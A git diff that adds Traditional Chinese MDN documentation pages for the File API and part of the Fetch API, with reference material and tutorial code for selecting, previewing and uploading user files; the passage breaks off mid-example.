+<p>想確認是否支持 Fetch API，可透過檢查 {{domxref("Headers")}}、{{domxref("Request")}}、{{domxref("Response")}} 或 {{domxref("GlobalFetch.fetch","fetch()")}} 是否存在 {{domxref("Window")}} 或 {{domxref("Worker")}} 域中。例如：</p>
+
+<pre class="brush: js notranslate">if (self.fetch) {
+    // run my fetch request here
+} else {
+    // do something with XMLHttpRequest?
+}</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>在不支援 Fetch 的瀏覽器, 可改用 <a href="https://github.com/github/fetch">Fetch Polyfill</a> 來重新支持缺少的 fetch 功能。</p>
+
+<h2 id="技術指標">技術指標</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">技術名稱</th>
+   <th scope="col">狀態</th>
+   <th scope="col">說明</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="bc-data" id="bcd:api.WindowOrWorkerGlobalScope.fetch">
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="https://github.com/mdn/fetch-examples/">Fetch examples on Github</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/file/file/index.html b/files/zh-tw/web/api/file/file/index.html
new file mode 100644
index 0000000000..1990248f72
--- /dev/null
+++ b/files/zh-tw/web/api/file/file/index.html
@@ -0,0 +1,112 @@
+---
+title: File.File()
+slug: Web/API/File/File
+translation_of: Web/API/File/File
+---
+<p>{{APIRef("File")}}</p>
+
+<p><code><strong>File()</strong></code>  建構子建立一個新的 {{domxref("File")}} 物件實例</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var myFile = new File(bits, name[, options]);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>bits</em></dt>
+ <dd>An {{jsxref("Array")}} of {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, or {{domxref("DOMString")}} objects — 或是由這些物件組成的集合。這是以 UTF-8 編碼的檔案內容。</dd>
+ <dt><em>name</em></dt>
+ <dd>檔案名稱或檔案的路徑（{{domxref("USVString")}}）。</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>物件選項，包含物件非必要的屬性，以下為可得到的屬性：
+ <ul>
+  <li><code>type</code>: 物件的 MIME 類型（{{domxref("DOMString")}} ）將被放進檔案中，預設為 ""（空值）。</li>
+  <li><code>lastModified</code>: 檔案最後修改時間，格式為毫秒，預設為 {{jsxref("Date.now()")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var file = new File(["foo"], "foo.txt", {
+  type: "text/plain",
+});</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">說明</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>初始化定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>13</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("7")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.5</td>
+   <td>10.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("7")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="看更多">看更多</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/file/filename/index.html b/files/zh-tw/web/api/file/filename/index.html
new file mode 100644
index 0000000000..0e6cceb4f3
--- /dev/null
+++ b/files/zh-tw/web/api/file/filename/index.html
@@ -0,0 +1,32 @@
+---
+title: File.fileName
+slug: Web/API/File/fileName
+translation_of: Web/API/File/fileName
+---
+<p>{{APIRef("File API")}}{{non-standard_header}}</p>
+
+<p>{{deprecated_header(7.0)}}</p>
+
+<h2 id="總覽">總覽</h2>
+
+<p>回傳檔案名稱，基於安全因素，檔案路徑不包含這個屬性。</p>
+
+<div class="note">這個檔案是廢棄的，使用 {{domxref("File.name")}} 取代。</div>
+
+<h2 id="語法">語法</h2>
+
+<pre>var name = instanceOfFile.fileName</pre>
+
+<h2 id="數值">數值</h2>
+
+<p>字串</p>
+
+<h2 id="Specification" name="Specification">格式</h2>
+
+<p>尚無資料</p>
+
+<h2 id="看更多">看更多</h2>
+
+<ul>
+ <li>{{domxref("File.name")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/file/index.html b/files/zh-tw/web/api/file/index.html
new file mode 100644
index 0000000000..0dce936ff8
--- /dev/null
+++ b/files/zh-tw/web/api/file/index.html
@@ -0,0 +1,121 @@
+---
+title: File
+slug: Web/API/File
+tags:
+  - API
+  - File API
+  - Interface
+  - Reference
+  - Web
+  - 介面
+  - 參考
+  - 檔案 API
+  - 檔案API
+  - 網路
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>File</code></strong> 介面提供了檔案的資訊並且允許網頁中的 JavaScript 存取檔案的內容。</p>
+
+<p><code>File</code> 物件通常是從使用者於 {{HTMLElement("input")}} 元素選擇之檔案所回傳的 {{domxref("FileList")}} 物件當中取得，也可以來自<a href="/zh-TW/docs/Web/Guide/HTML/Drag_and_drop">拖放操作</a>所產生的 {{domxref("DataTransfer")}} 物件之中，或是由 {{domxref("HTMLCanvasElement")}} 物件（元素物件）執行 <code>mozGetAsFile()</code> 方法後回傳。在 Gecko 引擎中，有專屬的程式碼能不需使用者操作即建立 <code>File</code> 物件來表示本地端的任一檔案（請參考 {{anch("Implementation notes")}} 以閱讀更多資訊）。</p>
+
+<p><code>File</code> 物件是一種特殊的 {{domxref("Blob")}}，且可被用在任何接受 Blob 物件的地方。特別是 {{domxref("FileReader")}}、{{domxref("URL.createObjectURL()")}}、{{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}} 和 {{domxref("XMLHttpRequest", "", "send()")}} 都能夠同樣接受 <code>Blob</code> 以及 <code>File</code>。</p>
+
+<p>請參考<a href="/docs/Using_files_from_web_applications">在網頁應用程式中使用本地檔案</a>的更多細節與範例。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("File.File", "File()")}}</dt>
+ <dd>回傳一個新建構的 <code>File</code> 物件。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>回值檔案的最後修改時間，為 UNIX epoch 毫秒（自西元 1970 年一月 1 日零時至今）。</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd><code>File</code> 物件所代表之檔案的最後修改日期（<code><a href="/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>）。</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd><code>File</code> 物件所代表之檔案的名稱。</dd>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd>回傳檔案大小。</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>回傳相對於 {{domxref("File")}} 的網址位置。</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd>回傳檔案的 <a href="/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME</a> 類型。</dd>
+</dl>
+
+<p><code>File</code> 實作了 {{domxref("Blob")}}，因此它也有以下可用屬性：</p>
+
+<dl>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd>回傳檔案大小（單位為位元組）。</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd>回傳檔案的 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>類型。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em><code>File</code> 介面沒有定義任何方法，但繼承了 {{domxref("Blob")}} 介面的方法：</em></p>
+
+<dl>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>
+ <p>回傳新的 <code>Blob</code> 物件，包含 <code>Blob</code> 來源之指定位元組範圍的資料。</p>
+ </dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>初次定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("api.File")}}</p>
+</div>
+
+<p> </p>
+
+<h3 id="實作備註">實作備註</h3>
+
+<ul>
+ <li>In Gecko, you can use this API from within chrome code. See <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> for details. To use it from chrome code, JSM and Bootstrap scope, you have to import it using <code><a href="/en-US/docs/Components.utils.importGlobalProperties">Cu.importGlobalProperties</a>(['File']);</code></li>
+ <li>Starting from Gecko 6.0 {{geckoRelease("6.0")}}, privileged code (such as extensions) can pass an {{interface("nsIFile")}} object to the DOM <code>File</code> constructor to specify the file to reference.</li>
+ <li>Starting from Gecko 8.0 {{geckoRelease("8.0")}}, you can use <code>new File</code> to create <code>File</code> objects from XPCOM component code instead of having to instantiate the {{interface("nsIDOMFile")}} object directly. The constructor takes, in contrast to {{domxref("Blob")}}, as second argument the filename. The filename can be any String.
+  <pre class="syntaxbox">new File(
+  Array parts,
+  String filename,
+  BlobPropertyBag properties
+);</pre>
+ </li>
+ <li>The following non-standard properties and methods were removed in Gecko 7 {{geckoRelease("7.0")}}: {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Standard properties {{domxref("File.name")}}, {{domxref("Blob.size")}}, and methods on {{domxref("FileReader")}} should be used instead.</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/docs/Using_files_from_web_applications">在網頁應用程式中使用本地檔案</a></li>
+ <li>{{domxref("FileReader")}}</li>
+ <li><a href="/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> (for privileged code running in Gecko, such as Firefox add-ons)</li>
+</ul>
diff --git a/files/zh-tw/web/api/file/using_files_from_web_applications/index.html b/files/zh-tw/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..52bd1928b3
--- /dev/null
+++ b/files/zh-tw/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,411 @@
+---
+title: 在網頁應用程式中使用本地檔案
+slug: Web/API/File/Using_files_from_web_applications
+tags:
+  - 待翻譯
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p> {{ gecko_minversion_header("1.9.2") }}</p>
+
+<p>現在可以透過新增至HTML5 DOM的File API讓web內容要求使用者選取本地端的檔案後讀取被選取檔案中的內容。檔案的選取動作可以使用HTML的 <a href="/en/DOM/HTMLInputElement" title="en/DOM/Input"><code>input</code></a> 元素，或是用拖曳檔案（drag and drop）的方式來完成。</p>
+
+<p>如果你想要使用 DOM 檔案 API 的文件擴展或是其他Chrome 程式碼，你可以參考<a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">使用DOM檔案API在FireFox外觀代碼中</a>。</p>
+
+<h2 id="使用HTML選擇本地檔案">使用HTML選擇本地檔案</h2>
+
+<p>HTML 語法：</p>
+
+<pre><code>&lt;input type="file" id="input"&gt;</code></pre>
+
+<p>File API 可以從 {{ domxref("File") }} 物件中讀取 {{ domxref("FileList") }} ，{{domxref("FileList") }} 內包含使用者所選取的檔案。</p>
+
+<p>如果使用者只選擇一個檔案，那麼我們只需要考慮第一個檔案物件。</p>
+
+<p>使用 DOM 獲取選擇的檔案：</p>
+
+<pre><code>var selectedFile = document.getElementById('input').files[0];</code></pre>
+
+<p>使用 <a href="http://jquery.com/" title="http://jquery.com/">jQuery</a> 獲取選擇的檔案：</p>
+
+<pre><code>var selectedFile = $('#input').get(0).files[0];
+
+var selectedFile = $('#input')[0].files[0];</code>
+</pre>
+
+<div class="note">
+<p>如果獲取 "files is undefined" 錯誤: 代表未選擇正確的 HTML 元素, 這時忘記 jQuery 回傳符合 DOM 元素的清單. 改使用 DOM 元素呼叫  "files" 方法.</p>
+</div>
+
+<h2 id="使用_change_event_獲取選擇的檔案">使用 change event 獲取選擇的檔案</h2>
+
+<p>使用File API選擇單一檔案是非常簡單的，如下</p>
+
+<pre><code>&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</code>
+</pre>
+
+<p>當使用者選取一個檔案，呼叫 <code>handleFiles()</code> 會得到一個 {{domxref("FileList") }} 的物件。{{domxref("FileList") }} 裡面還會有一個 <code>{{domxref("File")}}</code> 的物件，裡面的東西就是使用者選取的檔案。</p>
+
+<p>如果你想要讓使用者一次選擇多個檔案，可以在 <code>input</code> 元素中使用 <code>multiple</code> 的屬性：</p>
+
+<pre><code>&lt;input type="file" id="input" multiple="true" onchange="handleFiles(this.files)"&gt;</code>
+
+</pre>
+
+<p>在上述這個例子中，<span style="line-height: 1.5;">檔案名單</span><span style="line-height: 1.5;">會傳遞到</span><span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">handleFiles()</code><span style="line-height: 1.5;"> 函數</span>，其中包含了<span style="line-height: 1.5;">使用者選的每個檔案 {{domxref("File")}} </span><span style="line-height: 1.5;">物件</span><span style="line-height: 1.5;">。</span></p>
+
+<h3 id="使用_EventListener_動態地監聽">使用 EventListener 動態地監聽</h3>
+
+<p>如果使用了其他的函數庫（<a class="external" href="http://www.jquery.com/" title="http://www.jquery.com/">jQuery</a>），你會需要使用 {{domxref("EventTarget.addEventListener()") }} 去監聽事件，例如：</p>
+
+<pre class="brush: js">var inputElement = document.getElementById("inputField");
+inputElement.addEventListener("change", handleFiles, false);
+
+function handleFiles() {
+  var fileList = this.files;
+
+  /* now you can work with the file list */
+}
+</pre>
+
+<p>在這個例子中，<code>handleFiles() </code>函數找尋檔案清單而非接收參數, 因為這樣增加的 event listeners 不能接受參數.</p>
+
+<h2 id="獲得選取檔案的資訊">獲得選取檔案的資訊</h2>
+
+<p>由DOM提供的 {{domxref("FileList") }} 物件代表使用者選取的所有檔案，每個又是 <code>{{domxref("File")}} </code>物件。可以藉由 {{domxref("FileList") }} 的 length 屬性得知使用者選取的檔案數量：</p>
+
+<pre>var numFiles = files.length;
+</pre>
+
+<p>使用陣列獲取 {{domxref("File")}} 物件：</p>
+
+<pre>for (var i = 0; i &lt; files.length; i++) {
+  var file = files[i];
+  ..
+}
+</pre>
+
+<p>上述的例子顯示獲取在檔案清單裡所有檔案物件的方法。</p>
+
+<p><font face="Consolas, Liberation Mono, Courier, monospace">{{domxref("File")}} </font>提供三個包含檔案重要訊息的屬性。</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>唯讀的檔案名稱，並未包含檔案路徑。</dd>
+ <dt><code>size</code></dt>
+ <dd>為 64 位元的整數，用以表示檔案的 byte 的長度。</dd>
+ <dt><code>type</code></dt>
+ <dd>為唯讀字串。表示檔案的 MIME-type 。若是無法取得檔案的 Mime-type ，則其值會是一個空字串 <code>""</code>。</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="使用click()_方法隱藏檔案輸入元素">使用click() 方法隱藏檔案輸入元素</h2>
+
+<p>從 Gecko 2.0 {{ geckoRelease("2.0") }}開始，為了顯示個人化開啟檔案的UI和使用者選擇的檔案可以隱藏 {{ HTMLElement("input") }} 元素和顯示個人化的設計。可以藉由設置CSS 「display:none」 和對 {{ HTMLElement("input") }} 元素呼叫 <code>click()</code> 方法。</p>
+
+<p>HTML 如下：</p>
+
+<pre>&lt;input type="file" id="fileElem" multiple="true" accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+</pre>
+
+<p><code>doClick()</code> 方法:</p>
+
+<pre>var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+</pre>
+
+<p>很明顯的，可以使用CSS來設計新的上傳檔案的按鈕。</p>
+
+<h2 id="使用拖放選取檔案">使用拖放選取檔案</h2>
+
+<p>使用者可以使用拖放來選取檔案，首先要設置放的區域，確定文件可以接收放的檔案，方法如下：</p>
+
+<pre class="brush: js">var dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>在這個範例中，我們將 ID "dropbox" 設為放的區域，這是由於我們監聽了 <code>dragenter <font face="Open Sans, Arial, sans-serif">、</font></code><code>dragover </code>和 <code>drop</code>事件<font face="Consolas, Liberation Mono, Courier, monospace">。</font></p>
+
+<p>我們甚至不需要處理 <code>dragenter <font face="Open Sans, Arial, sans-serif">和 </font></code><code>dragover</code>事件，所以這些函數很簡單。他們阻止了事件的傳播和預設事件的發生：</p>
+
+<pre class="brush: js">function dragenter(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+
+function dragover(e) {
+  e.stopPropagation();
+  e.preventDefault();
+}
+</pre>
+
+<p>神奇的 <code>drop()</code> 函數:</p>
+
+<pre class="brush: js">function drop(e) {
+  e.stopPropagation();
+  e.preventDefault();
+
+  var dt = e.dataTransfer;
+  var files = dt.files;
+
+  handleFiles(files);
+}
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">這邊我們用 </font>dataTransfer </code>來獲取檔案清單, 並傳遞給 <code>handleFiles()</code>.。 我們可以發現，不論使用拖放或是其他取得檔案，處理檔案的方式都是相同。</p>
+
+<dl>
+</dl>
+
+<h2 id="範例：顯示選取的圖片">範例：顯示選取的圖片</h2>
+
+<p>假設要開發一個分享照片的網站，想使用 HTML5 來讓使用者在上傳圖片前預覽縮圖。簡單來說就是像先前討論地一樣建立 input 元素或是 drop 區域，接著再呼叫類似 <code>handleFiles()</code> 的函數。</p>
+
+<pre class="brush: js">function handleFiles(files) {
+  for (var i = 0; i &lt; files.length; i++) {
+    var file = files[i];
+    var imageType = /image.*/;
+
+    if (!file.type.match(imageType)) {
+      continue;
+    }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img);
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>這邊迴圈處理了使用者選取的每個檔案並檢查每個檔案的類型是不是圖檔(藉由使用正規表達式檢查是否符合字串 "image.*")。每一個是圖片的檔案，我們創建一個 <code>img</code> 元素。CSS 被使用來美化外框、陰影、還有設定圖片的尺寸，所以那些並不需要在這邊寫入。</p>
+
+<p>為了使圖片可以在DOM裡面更容易被找到，所以每個圖片都有設定CSS class “obj”。 我們也在每個圖檔標記 <code>file</code> 屬性以辨認 <code><a href="/en/DOM/File" title="en/DOM/File">File</a></code>；這使我們更容易取得真正要上傳的圖檔。最後我們使用{{ domxref("Node.appendChild()") }} 在文件中增加縮圖的元素。</p>
+
+<p><a href="/en/DOM/FileReader" title="en/DOM/FileReader"><code>FileReader</code></a> 處理要非同步讀取的圖檔並跟 <code>img</code> 元素連接。在創建 <code>FileReader</code> 物件後，我們設置了 <code>onload </code>並 呼叫 <code>readAsDataURL()</code> 在背景呼叫讀取的程序。當所有圖檔都被讀取時，他們被轉換為傳到 <code>onload callback <font face="Open Sans, Arial, sans-serif">的</font></code><code> data</code> URL。 這個範例簡易的設置<code>img</code> 元素的 <code>src</code> 屬性來讀取圖檔並在螢幕上顯示。</p>
+
+<h2 id="使用_object_URLs">使用 object URLs</h2>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} 支援 DOM 的{{ domxref("window.URL.createObjectURL()") }} 和 {{ domxref("window.URL.revokeObjectURL()") }} 方法。可以藉由這些方法創建表示任何為 DOM <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> 物件的 data URL 字串，包含了使用者電腦上的檔案。</p>
+
+<p>可以使 <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> 物件作為 HTML 元素 URL 的參考，創建 object URL 的方法：</p>
+
+<pre>var objectURL = window.URL.createObjectURL(fileObj);
+</pre>
+
+<p>object URL 為表示 <a href="/en/DOM/File" title="en/DOM/File"><code>File</code></a> 物件的字串。即使已經對相同檔案創建了 object URL，每次呼叫 {{ domxref("window.URL.createObjectURL()") }}，就會創建一個 object URL。當文檔卸載時他們將會被自動釋放，如果要動態地使用，需要呼叫 {{ domxref("window.URL.revokeObjectURL()") }} 釋放：</p>
+
+<pre>window.URL.revokeObjectURL(objectURL);</pre>
+
+<h2 id="範例：使用_object_URLs_顯示圖片">範例：使用 object URLs 顯示圖片</h2>
+
+<p>{{ geckoRelease("2.0") }}這個範例使用 object URLs 顯示圖像縮圖。此外也顯示了其他包含檔案名稱和檔案大小的訊息。<a href="/samples/domref/file-click-demo.html" title="https://developer.mozilla.org/samples/domref/file-click-demo.html">線上範例</a> (註:瀏覽器版本要求 11/22 之後的火狐版本)。</p>
+
+<div class="note"><strong>註: </strong>這個 API 在較早的 Firefox 4 betas 存在但是 11/22 號後的版本有改變, 所以確定瀏覽器在最新的版本!</div>
+
+<p>HTML：</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;No files selected!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>This establishes our file {{ HTMLElement("input") }} element, as well as a link that invokes the file picker, since we keep the file input hidden to prevent that less-than-attractive UI from being displayed. This is explained above in the section {{ anch("Using hidden file input elements using the click() method") }}, as is the <code>doClick()</code> method that invokes the file picker.</p>
+
+<p>The <code>handleFiles()</code> method follows:</p>
+
+<pre class="brush: js">var fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem"),
+  fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // prevent navigation to "#"
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "&lt;p&gt;No files selected!&lt;/p&gt;";
+  }
+  else {
+    var list = document.createElement("ul");
+    for (var i = 0; i &lt; files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.URL.createObjectURL(files[i]);
+      img.height = 60;
+      img.onload = function () {
+        window.URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+    fileList.appendChild(list);
+  }
+}
+</pre>
+
+<p>This starts by fetching the URL of the {{ HTMLElement("div") }} with the ID "fileList". This is the block into which we'll insert out file list, including thumbmails.</p>
+
+<p>If the {{ domxref("FileList") }} object passed to <code>handleFiles()</code> is <code>null</code>, we simply set the inner HTML of the block to display "No files selected!". Otherwise, we start building our file list, as follows:</p>
+
+<ol>
+ <li>A new unordered list ({{ HTMLElement("ul") }} element is created.</li>
+ <li>The new list element is inserted into the {{ HTMLElement("div") }} block by calling its {{ domxref("element.appendChild()") }} method.</li>
+ <li>For each {{ domxref("File") }} in the {{ domxref("FileList") }} represented by <code>files</code>:
+  <ol>
+   <li>Create a new list item ({{ HTMLElement("li") }}) element and insert it into the list.</li>
+   <li>Create a new image ({{ HTMLElement("img") }}) element.</li>
+   <li>Set the image's source to a new object URL representing the file, using {{ domxref("window.URL.createObjectURL()") }} to create the blob URL.</li>
+   <li>Set the image's height to 60 pixels.</li>
+   <li>Set up the image's load event handler to release the object URL, since it's no longer needed once the image has been loaded. This is done by calling the {{ domxref("window.URL.revokeObjectURL()") }} method, passing in the object URL string as specified by <code>img.src</code>.</li>
+   <li>Append the new list item to the list.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="範例：上傳檔案">範例：上傳檔案</h2>
+
+<p>接下來這個範例顯示如何非同步的上傳檔案到伺服器。</p>
+
+<h3 id="新增上傳的工作">新增上傳的工作</h3>
+
+<p>接續先前創建縮圖的範例，將每個縮圖都設置 CSS class “obj”，  這使得我們可以很容易地使用{{ domxref("Document.querySelectorAll()") }} 選擇使用者要上傳的圖檔，例如：</p>
+
+<pre class="brush: js">function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>第二行創建了 <code>imgs </code>陣列，存放著所有文件中 CSS class 為 “obj” 的 Node。在這個範例中，我們使用這個來創建縮圖。Once we have that list, it's trivial to go through the list, creating a new <code>FileUpload</code> instance for each. Each of these handles uploading the corresponding file.</p>
+
+<h3 id="處理上傳檔案的程序">處理上傳檔案的程序</h3>
+
+<p><code>FileUpload</code> 函數接受圖檔和檔案.</p>
+
+<pre class="brush: js">function FileUpload(img, file) {
+  var reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  var xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  var self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          var percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          var canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.sendAsBinary(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+</pre>
+
+<p><code>FileUpload()</code> 函數創建被用來顯示上傳進度的 throbber，接著創建 {{domxref("XMLHttpRequest")}} 上傳檔案.</p>
+
+<p>傳輸資料前的幾個準備工作:</p>
+
+<ol>
+ <li>The <code>XMLHttpRequest</code>'s upload "progress" listener is set to update the throbber with new percentage information, so that as the upload progresses, the throbber will be updated based on the latest information.</li>
+ <li>The <code>XMLHttpRequest</code>'s upload "load" event handler is set to update the throbber with 100% as the progress information (to ensure the progress indicator actually reaches 100%, in case of granularity quirks during the process). It then removes the throbber, since it's no longer needed. This causes the throbber to disappear once the upload is complete.</li>
+ <li>The request to upload the image file is opened by calling <code>XMLHttpRequest</code>'s <code>open()</code> method to start generating a POST request.</li>
+ <li>The MIME type for the upload is set by calling the <code>XMLHttpRequest</code> function <code>overrideMimeType()</code>. In this case, we're using a generic MIME type; you may or may not need to set the MIME type at all, depending on your use case.</li>
+ <li>The <code>FileReader</code> object is used to convert the file to a binary string.</li>
+ <li>Finally, when the content is loaded the <code>XMLHttpRequest</code> function <code>sendAsBinary()</code> is called to upload the file's content.</li>
+</ol>
+
+<div class="note">
+<p><strong>註:</strong> 範例中非標準的 <code>sendAsBinary</code> 方法已經在 Gecko 31 {{ geckoRelease(31) }} 廢棄且很快將會被移除。可以改使用標準的 <code>send(Blob data)。</code></p>
+</div>
+
+<h3 id="非同步處理上傳檔案的程序">非同步處理上傳檔案的程序</h3>
+
+<pre class="brush: js">function fileUpload(file) {
+  // Please report improvements to: marco.buratto at tiscali.it
+
+  var fileName = file.name,
+    fileSize = file.size,
